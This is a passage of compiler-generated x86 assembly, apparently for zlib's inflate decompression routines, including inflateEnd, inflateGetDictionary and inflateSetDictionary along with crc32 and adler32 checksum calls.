%ebx sall %cl, %eax leal 24(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L434 testl %edx, %edx je .L435 movzbl 3(%ebp), %eax leal 4(%ebp), %ebx subl $4, %edi addl $32, %esi sall %cl, %eax addl %eax, 8(%esp) .L361: movl %ebx, %ebp .L360: movl 4(%esp), %eax movl 8(%esp), %ebx cmpl %ebx, 28(%eax) je .L436 movl 128(%esp), %ebx movl $.LC23, 24(%ebx) movl $29, (%eax) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L133: movl %esi, %ecx andl $-8, %esi andl $7, %ecx shrl %cl, 8(%esp) cmpl $31, %esi ja .L411 testl %edi, %edi je .L764 movzbl (%ebp), %eax movl %esi, %ecx leal -1(%edi), %edx leal 1(%ebp), %ebx sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L416 testl %edx, %edx je .L435 movzbl 1(%ebp), %eax leal -2(%edi), %edx leal 2(%ebp), %ebx sall %cl, %eax leal 16(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L416 testl %edx, %edx je .L435 movzbl 2(%ebp), %eax leal -3(%edi), %edx leal 3(%ebp), %ebx sall %cl, %eax leal 24(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L416 testl %edx, %edx je .L435 movzbl 3(%ebp), %eax leal 4(%ebp), %ebx subl $4, %edi addl $32, %esi sall %cl, %eax addl %eax, 8(%esp) .L242: movl 8(%esp), %edx movzwl %dx, %eax shrl $16, %edx xorl $65535, %edx cmpl %edx, %eax je .L245 movl 128(%esp), %eax movl %ebx, %ebp movl $.LC12, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L438: movl $256, %edx jmp .L379 .p2align 4,,10 .p2align 3 .L764: movl %edi, %ebx movl 4(%esp), %edi jmp .L148 .p2align 4,,10 .p2align 3 .L378: subl $-128, %eax jmp .L769 .p2align 4,,10 .p2align 3 .L408: movl 32(%esp), %ebp xorl %esi, %esi movl $0, 8(%esp) .p2align 4,,10 .p2align 3 .L229: movl 4(%esp), %eax movl 32(%eax), %eax testl %eax, %eax je .L233 movl %ebx, %edx movl $1, 48(%eax) sarl $9, %edx andl $1, %edx movl %edx, 44(%eax) .L233: subl $4, %esp pushl $0 pushl $0 pushl $0 call crc32 movl 20(%esp), %ebx movl 144(%esp), %edx addl $16, %esp movl %eax, 24(%ebx) movl %eax, 48(%edx) movl $11, %eax movl $11, (%ebx) jmp .L707 .p2align 4,,10 .p2align 3 .L114: movl 4(%eax), %eax testl %eax, %eax jne .L387 movl $0, 24(%esp) jmp .L115 .p2align 4,,10 .p2align 3 .L758: movl %edi, %ebx movl %edx, 8(%esp) movl %ecx, %esi movl 4(%esp), %edi jmp .L148 .p2align 4,,10 .p2align 3 .L375: subl $4, %esp pushl %ebx movl 136(%esp), %eax movl 12(%eax), %eax movl %eax, 12(%esp) subl %ebx, %eax pushl %eax pushl 24(%edi) call adler32 addl $16, %esp jmp .L376 .L164: movl 4(%esp), %edi movl %ecx, %esi movl 32(%esp), %ebp xorl %ebx, %ebx jmp .L148 .p2align 4,,10 .p2align 3 .L783: movl 12(%esp), %edx subl $4, %esp pushl %ebx subl %ebx, %edx pushl %edx pushl %eax call memcpy movl 40(%esi), %eax movl $0, 48(%esi) addl $16, %esp movl %eax, 44(%esi) jmp .L364 .p2align 4,,10 .p2align 3 .L387: movl $-2, %eax jmp .L611 .p2align 4,,10 .p2align 3 .L744: movl %ebx, 8(%esp) movl %ecx, %esi movl %edi, %ebx movl 4(%esp), %edi jmp .L148 .p2align 4,,10 .p2align 3 .L785: movl $0, 48(%esi) jmp .L373 .p2align 4,,10 .p2align 3 .L784: movl 12(%esp), %eax subl $4, %esp pushl %ebp subl %ebp, %eax pushl %eax pushl 52(%esi) call memcpy movl 40(%esi), %eax movl %ebp, 48(%esi) addl $16, %esp movl %eax, 44(%esi) jmp .L364 .p2align 4,,10 .p2align 3 .L246: movl 4(%esp), %eax movl $11, (%eax) movl $11, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L335: movl 12(%esp), %eax subl %edx, %eax movl %eax, 32(%esp) movl 4(%esp), %eax movl 64(%eax), %ecx movl %ecx, %edx .L340: cmpl 16(%esp), %ecx movl %ecx, %ebx jbe .L341 movl 16(%esp), %ebx .L341: movl 4(%esp), %ecx movl 32(%esp), %eax subl %ebx, %edx subl %ebx, 16(%esp) movl %edx, 64(%ecx) leal 4(%eax), %edx movl 12(%esp), %eax cmpl %edx, %eax movl %eax, %edx setnb %cl addl $4, %edx cmpl %edx, 32(%esp) setnb %dl orl %ecx, %edx cmpl $9, %ebx seta %cl testb %cl, %dl je .L342 movl %eax, %edx movl 32(%esp), %eax orl %eax, %edx andl $3, %edx jne .L342 leal -4(%ebx), %ecx movl %ebx, 36(%esp) movl 12(%esp), %ebx movl %esi, 32(%esp) shrl $2, %ecx addl $1, %ecx leal 0(,%ecx,4), %edx movl %edx, 40(%esp) xorl %edx, %edx .L343: movl (%eax,%edx,4), %esi movl %esi, (%ebx,%edx,4) addl $1, %edx cmpl %ecx, %edx jb .L343 movl 36(%esp), %ebx movl 40(%esp), %ecx movl 32(%esp), %esi movl %eax, 32(%esp) movl 12(%esp), %edx movl %ebx, %eax subl %ecx, %eax movl %eax, 36(%esp) movl 32(%esp), %eax addl %ecx, %edx addl %ecx, %eax cmpl %ebx, %ecx je .L348 movzbl (%eax), %ecx cmpl $1, 36(%esp) movb %cl, (%edx) je .L348 movzbl 1(%eax), %ecx cmpl $2, 36(%esp) movb %cl, 1(%edx) je .L348 movzbl 2(%eax), %eax movb %al, 2(%edx) .L348: movl 4(%esp), %eax addl %ebx, 12(%esp) movl 64(%eax), %ecx testl %ecx, %ecx je .L349 movl (%eax), %eax jmp .L117 .p2align 4,,10 .p2align 3 .L349: movl $20, (%eax) movl $20, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L787: movl %eax, %ecx jmp .L212 .p2align 4,,10 .p2align 3 .L777: movl 128(%esp), %eax movl 12(%esp), %ebx subl $8, %esp movl %ebx, 12(%eax) movl 24(%esp), %ebx movl %edi, 4(%eax) movl 16(%esp), %edi movl %ebp, (%eax) movl %ebx, 16(%eax) movl 12(%esp), %ebx movl %edi, 56(%ebx) movl %esi, 60(%ebx) pushl 28(%esp) pushl 140(%esp) call inflate_fast movl 144(%esp), %eax movl 56(%ebx), %esi movl 12(%eax), %eax movl %esi, 24(%esp) movl 60(%ebx), %esi movl %eax, 28(%esp) movl 144(%esp), %eax movl 16(%eax), %eax movl %eax, 32(%esp) movl 144(%esp), %eax addl $16, %esp movl (%eax), %ebp movl 4(%eax), %edi movl (%ebx), %eax cmpl $11, %eax jne .L117 movl 4(%esp), %ebx movl $-1, 7108(%ebx) jmp .L707 .p2align 4,,10 .p2align 3 .L313: cmpl %ebx, %esi jnb .L315 testl %edi, %edi je .L764 movl 8(%esp), %edx movl %esi, %ecx jmp .L317 .p2align 4,,10 .p2align 3 .L318: testl %edi, %edi je .L758 .L317: addl $1, %ebp movzbl -1(%ebp), %eax subl $1, %edi sall %cl, %eax addl $8, %ecx addl %eax, %edx cmpl %ebx, %ecx jb .L318 movl %edx, 8(%esp) movl %ecx, %esi .L315: movl %ebx, %ecx movl $1, %eax movl 8(%esp), %edx sall %cl, %eax movl 4(%esp), %ecx subl %ebx, %esi subl $1, %eax andl %edx, %eax addl 64(%ecx), %eax movl %eax, 64(%ecx) movl %ebx, %ecx shrl %cl, %edx movl 4(%esp), %ecx movl %edx, 8(%esp) addl %ebx, 7108(%ecx) movl %ecx, %ebx jmp .L314 .p2align 4,,10 .p2align 3 .L790: movl %eax, %ebx jmp .L247 .p2align 4,,10 .p2align 3 .L791: movl 16(%esp), %ebx jmp .L248 .L800: movl 16(%esp), %esi movl 8(%edx), %eax movl %ebx, %ebp movl $0, 8(%esp) movl %esi, 20(%esp) xorl %esi, %esi .p2align 4,,10 .p2align 3 .L350: movl 4(%esp), %ebx movl $27, (%ebx) jmp .L150 .p2align 4,,10 .p2align 3 .L171: movl $12, (%eax) movl $12, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L776: movl 7104(%ebx), %eax testl %eax, %eax je .L336 movl 128(%esp), %eax movl $.LC21, 24(%eax) movl $29, (%ebx) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L780: movl 4(%esp), %edx movl %eax, 44(%esp) movl 7108(%edx), %edx movl %edx, 36(%esp) .L324: addl %eax, %edx movl %eax, %ecx movl 4(%esp), %eax shrl %cl, 8(%esp) subl 40(%esp), %esi testb $64, %bl movl %edx, 7108(%eax) je .L329 movl 128(%esp), %eax movl $.LC20, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L795: shrl %cl, %ebx movl 36(%esp), %ecx movl 4(%esp), %ebp subl %eax, %esi movl %ecx, %eax addl $1, %eax movl %eax, 104(%ebp) movl %eax, 36(%esp) movw %dx, 112(%ebp,%ecx,2) movl 44(%esp), %edx jmp .L258 .L238: movl $16, (%ebx) movl $16, %eax jmp .L241 .L184: testl $57344, 8(%esp) je .L185 movl 128(%esp), %eax movl %ebx, %ebp movl $.LC9, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .L245: cmpl $6, 132(%esp) movl 4(%esp), %esi movl %ebx, %ebp movl %eax, 64(%esi) movl $14, (%esi) je .L418 xorl %esi, %esi movl $0, 8(%esp) jmp .L157 .L403: xorl %eax, %eax jmp .L210 .L443: movl 128(%esp), %eax movl 32(%esp), %ebp movl $.LC13, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L779: movl %esi, %ebx movl %edi, 8(%esp) movl %ecx, %esi movl 4(%esp), %edi jmp .L148 .p2align 4,,10 .p2align 3 .L435: movl %ebx, %ebp movl 4(%esp), %edi movl %ecx, %esi xorl %ebx, %ebx jmp .L148 .p2align 4,,10 .p2align 3 .L778: movl %edi, %ebx movl %esi, 8(%esp) movl 4(%esp), %edi movl %ecx, %esi jmp .L148 .p2align 4,,10 .p2align 3 .L793: subl $4, %esp pushl %ebx pushl %ebp movl 16(%esp), %eax pushl 24(%eax) call crc32 movl 20(%esp), %edx addl $16, %esp movl %eax, 24(%edx) jmp .L227 .p2align 4,,10 .p2align 3 .L802: subl $4, %esp pushl %ebx pushl %ebp movl 16(%esp), %eax pushl 24(%eax) call crc32 movl 20(%esp), %edx addl $16, %esp movl %eax, 24(%edx) jmp .L221 .L170: movl %ebx, %ebp movl 4(%esp), %edi movl %ecx, %esi xorl %ebx, %ebx jmp .L148 .p2align 4,,10 .p2align 3 .L337: movl 4(%esp), %ebx subl %ecx, %eax addl 52(%ebx), %eax movl %eax, 32(%esp) movl %ebx, %eax jmp .L338 .p2align 4,,10 .p2align 3 .L303: testb $240, %bl je .L305 movl %edx, %ecx movl 4(%esp), %edx subl %eax, %esi shrl %cl, 8(%esp) movl %eax, 7108(%edx) movzwl 36(%esp), %eax movl %eax, 64(%edx) .L306: testb $32, %bl je .L311 movl 4(%esp), %eax movl $-1, 7108(%eax) movl $11, (%eax) movl $11, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L329: movl %eax, %edx movzwl 32(%esp), %eax andl $15, %ebx movl %ebx, 72(%edx) movl $23, (%edx) movl %eax, 68(%edx) jmp .L151 .p2align 4,,10 .p2align 3 .L342: movl 32(%esp), %eax movl 12(%esp), %edx movl %ebx, 32(%esp) leal (%eax,%ebx), %ecx .p2align 4,,10 .p2align 3 .L347: addl $1, %eax movzbl -1(%eax), %ebx addl $1, %edx cmpl %ecx, %eax movb %bl, -1(%edx) jne .L347 movl 32(%esp), %ebx jmp .L348 .L799: movl 8(%esp), %esi subl $4, %esp movl %esi, %eax movb %al, 96(%esp) movl %esi, %eax shrl $8, %eax movb %al, 97(%esp) pushl $2 leal 100(%esp), %eax pushl %eax movl 16(%esp), %esi pushl 24(%esi) call crc32 addl $16, %esp movl %eax, 24(%esi) movl 16(%esi), %eax jmp .L201 .L781: movl %ebx, 8(%esp) movl %ebp, %ebx movl %edi, %ebp movl 4(%esp), %edi jmp .L148 .L305: movzwl 36(%esp), %ecx movl %ecx, 36(%esp) leal (%ebx,%eax), %ecx movl $1, %ebx sall %cl, %ebx movl %edx, %ecx leal -1(%ebx), %ebx movl %ebx, 44(%esp) andl 8(%esp), %ebx shrl %cl, %ebx movl 36(%esp), %ecx leal (%ebx,%ecx), %edx movl 32(%esp), %ebx leal (%ebx,%edx,4), %edx movzwl 2(%edx), %ecx movzbl (%edx), %ebx movzbl 1(%edx), %edx movw %cx, 40(%esp) leal (%eax,%edx), %ecx movl %edx, 60(%esp) cmpl %ecx, %esi movl %ecx, 64(%esp) jnb .L307 testl %edi, %edi je .L764 movl 8(%esp), %ebx jmp .L309 .p2align 4,,10 .p2align 3 .L310: testl %edi, %edi je .L750 .L309: addl $1, %ebp movzbl -1(%ebp), %edx movl %esi, %ecx addl $8, %esi subl $1, %edi sall %cl, %edx movl %eax, %ecx addl %edx, %ebx movl 44(%esp), %edx andl %ebx, %edx shrl %cl, %edx addl 36(%esp), %edx movl 32(%esp), %ecx leal (%ecx,%edx,4), %edx movzbl (%edx), %ecx movb %cl, 60(%esp) movzwl 2(%edx), %ecx movzbl 1(%edx), %edx movw %cx, 40(%esp) leal (%edx,%eax), %ecx cmpl %esi, %ecx ja .L310 movl %ebx, 8(%esp) movl %ecx, 64(%esp) movzbl 60(%esp), %ebx movl %edx, 60(%esp) .L307: subl %eax, %esi movl %eax, %ecx movl 8(%esp), %edx movl %esi, %eax movl 60(%esp), %esi shrl %cl, %edx subl %esi, %eax movl %esi, %ecx shrl %cl, %edx movl %eax, %esi movzwl 40(%esp), %eax movl %edx, 8(%esp) movl 64(%esp), %ecx testb %bl, %bl movl 4(%esp), %edx movl %ecx, 7108(%edx) movl %eax, 64(%edx) jne .L306 jmp .L304 .p2align 4,,10 .p2align 3 .L434: movl %ecx, %esi movl %edx, %edi jmp .L361 .L178: movl 128(%esp), %eax movl $.LC6, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .L240: cmpl $6, 132(%esp) movl 4(%esp), %eax movl $lenfix.3430, 76(%eax) movl $9, 84(%eax) movl $distfix.3431, 80(%eax) movl $5, 88(%eax) movl $19, (%eax) je .L804 movl $19, %eax jmp .L241 .L239: movl 128(%esp), %eax movl $.LC11, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L241 .L750: movl %ebx, 8(%esp) movl %edi, %ebx movl 4(%esp), %edi jmp .L148 .L788: subl $4, %esp pushl %ecx movl %ecx, 40(%esp) pushl %ebp movl 16(%esp), %ebx pushl 24(%ebx) call crc32 addl $16, %esp movl %eax, 24(%ebx) movl 32(%esp), %ecx jmp .L216 .L311: testb $64, %bl je .L312 movl 128(%esp), %eax movl $.LC19, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .L786: movl 8(%esp), %esi subl $4, %esp movl %esi, %eax movb %al, 96(%esp) movl %esi, %eax shrl $8, %eax movb %al, 97(%esp) movl %esi, %eax shrl $16, %eax movb %al, 98(%esp) movl %esi, %eax shrl $24, %eax movb %al, 99(%esp) pushl $4 leal 100(%esp), %eax pushl %eax movl 16(%esp), %esi pushl 24(%esi) call crc32 addl $16, %esp movl %eax, 24(%esi) movl 4(%esp), %eax jmp .L194 .L209: movl 8(%esp), %esi subl $4, %esp movl %esi, %eax movb %al, 96(%esp) movl %esi, %eax shrl $8, %eax movb %al, 97(%esp) pushl $2 leal 100(%esp), %eax pushl %eax movl 16(%esp), %esi pushl 24(%esi) call crc32 movl 16(%esi), %ebx movl %eax, 24(%esi) addl $16, %esp xorl %esi, %esi movl $0, 8(%esp) movl %ebx, %eax andl $1024, %eax jmp .L210 .L396: movl %edx, %edi jmp .L166 .L416: movl %ecx, %esi movl %edx, %edi jmp .L242 .L796: leal 2(%eax), %edx cmpl %edx, %esi jnb .L265 testl %edi, %edi movl 40(%esp), %ebp je .L750 movl %esi, %ecx movl %eax, %esi movl %edx, %eax jmp .L267 .p2align 4,,10 .p2align 3 .L268: testl %edi, %edi je .L744 .L267: addl $1, %ebp movzbl -1(%ebp), %edx subl $1, %edi sall %cl, %edx addl $8, %ecx addl %edx, %ebx cmpl %eax, %ecx jb .L268 movl %esi, %eax movl %ebp, 40(%esp) movl %ecx, %esi .L265: movl %eax, %ecx subl %eax, %esi movl 36(%esp), %eax shrl %cl, %ebx testl %eax, %eax je .L281 movl 36(%esp), %eax movl 4(%esp), %edx subl $2, %esi addl $55, %eax movzwl (%edx,%eax,2), %eax movl %ebx, %edx shrl $2, %ebx andl $3, %edx addl $3, %edx jmp .L271 .L406: movl %ebp, 32(%esp) jmp .L230 .L407: movl %ecx, %esi movl %edx, %edi jmp .L230 .L735: movl %edi, %ebx movl %esi, 8(%esp) movl 32(%esp), %ebp movl %ecx, %esi movl 4(%esp), %edi jmp .L148 .L272: leal 3(%eax), %edx cmpl %edx, %esi jnb .L275 testl %edi, %edi movl 40(%esp), %ebp je .L750 movl %esi, %ecx movl %eax, %esi movl %edx, %eax jmp .L277 .p2align 4,,10 .p2align 3 .L278: testl %edi, %edi je .L744 .L277: addl $1, %ebp movzbl -1(%ebp), %edx subl $1, %edi sall %cl, %edx addl $8, %ecx addl %edx, %ebx cmpl %eax, %ecx jb .L278 movl %esi, %eax movl %ebp, 40(%esp) movl %ecx, %esi .L275: movl %eax, %ecx shrl %cl, %ebx movl $-3, %ecx movl %ebx, %edx subl %eax, %ecx shrl $3, %ebx andl $7, %edx addl %ecx, %esi xorl %eax, %eax addl $3, %edx jmp .L271 .L312: movl 4(%esp), %eax andl $15, %ebx movl %ebx, 72(%eax) movl $21, (%eax) jmp .L152 .L409: movl %ebp, %edx jmp .L236 .L185: movl 4(%esp), %eax movl 32(%eax), %eax testl %eax, %eax je .L186 movl 8(%esp), %edx shrl $8, %edx andl $1, %edx movl %edx, (%eax) .L186: testl $512, 8(%esp) jne .L805 .L187: movl 4(%esp), %eax movl %ebx, %ebp movl $0, 8(%esp) xorl %esi, %esi movl $2, (%eax) jmp .L188 .L763: movl %edi, %ebx movl 4(%esp), %edi .L359: movl $28, (%edi) movl $1, 28(%esp) jmp .L148 .L797: movl 64(%esp), %ebp testl %ebp, %ebp jne .L806 movl %edx, %eax movl %edx, 76(%esp) subl $2, %eax shrl $1, %eax addl $1, %eax movl %eax, 32(%esp) addl %eax, %eax movl %eax, 72(%esp) .L383: movzwl 8(%esp), %edx movl 40(%esp), %ebp movl %edx, %eax sall $16, %eax orl %eax, %edx movl 64(%esp), %eax addl %ecx, %eax movl 4(%esp), %ecx leal (%ecx,%eax,2), %ecx xorl %eax, %eax .L290: movl %edx, (%ecx,%eax,4) addl $1, %eax cmpl 32(%esp), %eax jb .L290 movl 72(%esp), %edx addl %edx, 36(%esp) cmpl 76(%esp), %edx movl %ebp, 40(%esp) je .L288 .L289: movzwl 8(%esp), %ecx movl 4(%esp), %eax movl 36(%esp), %edx movw %cx, 112(%eax,%edx,2) jmp .L288 .L355: subl $4, %esp pushl %eax movl 20(%esp), %edx subl %eax, %edx pushl %edx movl 16(%esp), %eax pushl 24(%eax) call adler32 addl $16, %esp jmp .L356 .L427: movl %ecx, %esi movl %edx, %edi jmp .L351 .L798: movl 4(%esp), %eax movl $0, 36(%esp) movl $0, 104(%eax) movl $18, (%eax) movl %eax, %ebx jmp .L153 .L411: movl %ebp, %ebx jmp .L242 .L398: movl %ebp, %ebx jmp .L168 .L390: movl %ebp, 32(%esp) movl 8(%esp), %ecx jmp .L162 .L391: movl %ecx, %esi movl %edx, %edi movl 8(%esp), %ecx jmp .L162 .L399: movl %ecx, %esi movl %edx, %edi jmp .L168 .L397: movl %ebx, %ebp movl 4(%esp), %edi xorl %ebx, %ebx jmp .L148 .L292: movl 4(%esp), %eax movl 40(%esp), %ebp movl %ebx, 8(%esp) cmpw $0, 624(%eax) jne .L295 movl 128(%esp), %ebx movl $.LC16, 24(%ebx) movl $29, (%eax) movl $29, %eax jmp .L707 .L775: movl %edi, %ebx movl 12(%esp), %edx movl %eax, %edi movl 128(%esp), %eax movl %edx, 12(%eax) movl 16(%esp), %edx movl %ebp, (%eax) movl %ebx, 4(%eax) movl %edx, 16(%eax) movl 8(%esp), %eax movl %esi, 60(%edi) movl %eax, 56(%edi) movl $2, %eax jmp .L611 .L805: movl 8(%esp), %esi subl $4, %esp movl %esi, %eax movb %al, 96(%esp) movl %esi, %eax shrl $8, %eax movb %al, 97(%esp) pushl $2 leal 100(%esp), %eax pushl %eax movl 16(%esp), %esi pushl 24(%esi) call crc32 addl $16, %esp movl %eax, 24(%esi) jmp .L187 .L422: movl %ebp, %ebx jmp .L351 .L400: movl %ecx, %esi movl 32(%esp), %edi jmp .L173 .L794: subl $4, %esp pushl $0 pushl $0 pushl $0 call crc32 movl 20(%esp), %esi movb $31, 108(%esp) movb $139, 109(%esp) addl $12, %esp movl %eax, 24(%esi) pushl $2 leal 100(%esp), %edx pushl %edx pushl %eax call crc32 addl $16, %esp movl %eax, 24(%esi) movl $1, (%esi) movl $1, %eax xorl %esi, %esi movl $0, 8(%esp) jmp .L707 .L436: movl %edi, %ebx xorl %esi, %esi movl 4(%esp), %edi movl $0, 8(%esp) jmp .L359 .L180: shrl $4, 8(%esp) movl 8(%esp), %eax andl $15, %eax movl %eax, %ecx movl 4(%esp), %eax addl $8, %ecx movl 36(%eax), %eax testl %eax, %eax jne .L181 movl 4(%esp), %eax movl %ecx, 36(%eax) .L182: movl 4(%esp), %esi movl $1, %eax sall %cl, %eax movl %eax, 20(%esi) pushl %eax pushl $0 pushl $0 pushl $0 call adler32 movl 24(%esp), %ecx movl 144(%esp), %ebx addl $16, %esp movl %eax, 24(%esi) andl $512, %ecx movl %eax, 48(%ebx) movl $0, 8(%esp) cmpl $1, %ecx sbbl %eax, %eax andl $2, %eax addl $9, %eax movl %eax, (%esi) xorl %esi, %esi jmp .L117 .L295: movl 4(%esp), %edx movl 56(%esp), %ebx movl %ebx, 108(%edx) movl %ebx, 76(%edx) movl %edx, %eax leal 108(%edx), %ebx addl $84, %eax movl $9, 84(%edx) pushl %ecx pushl %ecx pushl 60(%esp) pushl %eax movl %edx, %eax pushl %ebx pushl 80(%esp) addl $112, %eax movl %edx, 28(%esp) pushl %eax pushl $1 call inflate_table movl %eax, 60(%esp) addl $32, %esp testl %eax, %eax je .L296 movl 4(%esp), %eax movl 128(%esp), %ebx movl $.LC17, 24(%ebx) movl $29, (%eax) movl $29, %eax jmp .L707 .L181: cmpl %eax, %ecx jbe .L182 movl 128(%esp), %eax subl $4, %esi movl $.LC8, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .L281: movl 128(%esp), %eax movl 40(%esp), %ebp movl %ebx, 8(%esp) movl $.LC15, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .L418: movl %edi, %ebx xorl %esi, %esi movl 4(%esp), %edi movl $0, 8(%esp) jmp .L148 .L804: movl %edi, %ebx shrl $3, 8(%esp) movl %eax, %edi subl $3, %esi movl %edx, %ebp jmp .L148 .L296: movl 4(%esp), %edx movl 108(%edx), %eax movl $6, 88(%edx) movl %eax, 80(%edx) movl %edx, %eax pushl %ecx addl $88, %eax pushl %ecx pushl 60(%esp) pushl %eax pushl %ebx pushl 100(%edx) movl 96(%edx), %eax leal 112(%eax,%eax), %eax addl %edx, %eax pushl %eax pushl $2 call inflate_table movl %eax, 60(%esp) addl $32, %esp testl %eax, %eax je .L297 movl 128(%esp), %eax movl $.LC18, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .L806: movzwl 8(%esp), %ebp movl 4(%esp), %eax movl $1, 64(%esp) movw %bp, (%eax,%ecx,2) movl 36(%esp), %eax addl $1, %eax movl %eax, 36(%esp) leal -1(%edx), %eax movl %eax, %ebp movl %eax, 76(%esp) leal -3(%edx), %eax shrl $1, %eax addl $1, %eax movl %eax, 32(%esp) addl %eax, %eax movl %eax, 72(%esp) movl %ebp, %eax subl $1, %eax je .L289 jmp .L383 .LHOTE24: .LHOTB25: .cfi_endproc .size inflate, .-inflate # ---------------------- .section .rodata .align 4 .L120: .long .L119 .long .L121 .long .L122 .long .L123 .long .L124 .long .L125 .long .L126 .long .L127 .long .L128 .long .L129 .long .L130 .long .L131 .long .L132 .long .L133 .long .L134 .long .L135 .long .L136 .long .L137 .long .L138 .long .L139 .long .L140 .long .L141 .long .L142 .long .L143 .long .L144 .long .L145 .long .L146 .long .L147 .long .L388 .long .L149 .long .L770 # ---------------------- .text .p2align 4,,15 # ---------------------- .globl inflateEnd .type inflateEnd, @function inflateEnd: .cfi_startproc pushl %ebx subl $8, %esp movl 16(%esp), %ebx testl %ebx, %ebx je .L812 movl 28(%ebx), %eax testl %eax, %eax je .L812 movl 36(%ebx), %edx testl %edx, %edx je .L812 movl 52(%eax), %ecx testl %ecx, %ecx je .L809 subl $8, %esp pushl %ecx pushl 40(%ebx) call *%edx movl 36(%ebx), %edx movl 28(%ebx), %eax addl $16, %esp .L809: subl $8, %esp pushl %eax pushl 40(%ebx) call *%edx movl $0, 28(%ebx) addl $16, %esp xorl %eax, %eax .L808: addl $8, %esp popl %ebx ret .p2align 4,,10 .p2align 3 .L812: movl $-2, %eax jmp .L808 .LHOTE25: .LHOTB26: .cfi_endproc .size inflateEnd, .-inflateEnd # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateGetDictionary .type inflateGetDictionary, @function inflateGetDictionary: .cfi_startproc pushl %edi pushl %esi pushl %ebx movl 16(%esp), %eax movl 20(%esp), %esi movl 24(%esp), %edi testl %eax, %eax je .L821 movl 28(%eax), %ebx testl %ebx, %ebx je .L821 testl %esi, %esi movl 44(%ebx), %eax je .L819 testl %eax, %eax je .L819 movl 48(%ebx), %edx subl $4, %esp subl %edx, %eax addl 52(%ebx), %edx pushl %eax pushl %edx pushl %esi call memcpy movl 48(%ebx), %eax addl $12, %esp subl %eax, %esi addl 44(%ebx), %esi pushl %eax pushl 52(%ebx) pushl %esi call memcpy addl $16, %esp .L819: testl %edi, %edi je .L822 movl 44(%ebx), %eax movl %eax, (%edi) xorl %eax, %eax .L818: popl %ebx popl %esi popl %edi ret .p2align 4,,10 .p2align 3 .L822: xorl %eax, %eax jmp .L818 .p2align 4,,10 .p2align 3 .L821: movl $-2, %eax jmp .L818 .LHOTE26: .LHOTB27: .cfi_endproc .size inflateGetDictionary, .-inflateGetDictionary # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateSetDictionary .type inflateSetDictionary, @function inflateSetDictionary: .cfi_startproc pushl %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 48(%esp), %ebx movl 56(%esp), %edi testl %ebx, %ebx je .L845 movl 28(%ebx), %ebp testl %ebp, %ebp je .L845 movl 8(%ebp), %eax testl %eax, %eax jne .L850 cmpl $10, (%ebp) je .L833 movl %ebp, %esi .L834: movl 52(%esp), %eax addl %edi, %eax movl %eax, 12(%esp) movl 52(%esi), %eax testl %eax, %eax je .L851 .L835: movl 40(%esi), %ebx testl %ebx, %ebx jne .L837 movl 36(%esi), %ecx movb $1, %bl movl $0, 48(%esi) movl $0, 44(%esi) sall %cl, %ebx movl %ebx, 40(%esi) .L837: cmpl %ebx, %edi jnb .L852 movl 48(%esi), %ecx subl %ecx, %ebx cmpl %edi, %ebx jbe .L840 movl %edi, %ebx .L840: addl %ecx, %eax movl 12(%esp), %ecx subl $4, %esp pushl %ebx subl %edi, %ecx pushl %ecx pushl %eax call memcpy addl $16, %esp subl %ebx, %edi jne .L853 movl 48(%esi), %eax movl 40(%esi), %ecx addl %ebx, %eax cmpl %ecx, %eax movl %eax, 48(%esi) je .L854 .L842: movl 44(%esi), %eax cmpl %eax, %ecx jbe .L839 addl %eax, %ebx movl %ebx, 44(%esi) .L839: movl $1, 12(%ebp) xorl %eax, %eax .L848: addl $28, %esp popl %ebx popl %esi popl %edi popl %ebp ret .p2align 4,,10 .p2align 3 .L850: cmpl $10, (%ebp) jne .L845 .L833: subl $4, %esp pushl $0 pushl $0 pushl $0 call adler32 addl $12, %esp pushl %edi pushl 60(%esp) pushl %eax call adler32 addl $16, %esp cmpl %eax, 24(%ebp) jne .L847 movl 28(%ebx), %esi jmp .L834 .p2align 4,,10 .p2align 3 .L852: movl 12(%esp), %edx subl $4, %esp pushl %ebx subl %ebx, %edx pushl %edx pushl %eax call memcpy movl 40(%esi), %eax movl $0, 48(%esi) addl $16, %esp movl %eax, 44(%esi) jmp .L839 .p2align 4,,10 .p2align 3 .L854: movl $0, 48(%esi) jmp .L842 .p2align 4,,10 .p2align 3 .L853: movl 12(%esp), %eax subl $4, %esp pushl %edi subl %edi, %eax pushl %eax pushl 52(%esi) call memcpy movl 40(%esi), %eax movl %edi, 48(%esi) addl $16, %esp movl %eax, 44(%esi) jmp .L839 .p2align 4,,10 .p2align 3 .L845: movl $-2, %eax jmp .L848 .p2align 4,,10 .p2align 3 .L851: subl $4, %esp movb $1, %al pushl $1 movl 36(%esi), %ecx sall %cl, %eax pushl %eax pushl 40(%ebx) call *32(%ebx) addl $16, %esp testl %eax, %eax movl %eax, 52(%esi) jne .L835 movl $30, (%ebp) movl $-4, %eax jmp .L848 .p2align 4,,10 .p2align 3 .L847: movl $-3, %eax jmp .L848 .LHOTE27: .LHOTB28: .cfi_endproc .size inflateSetDictionary, .-inflateSetDictionary # ---------------------- .p2align 4,,15 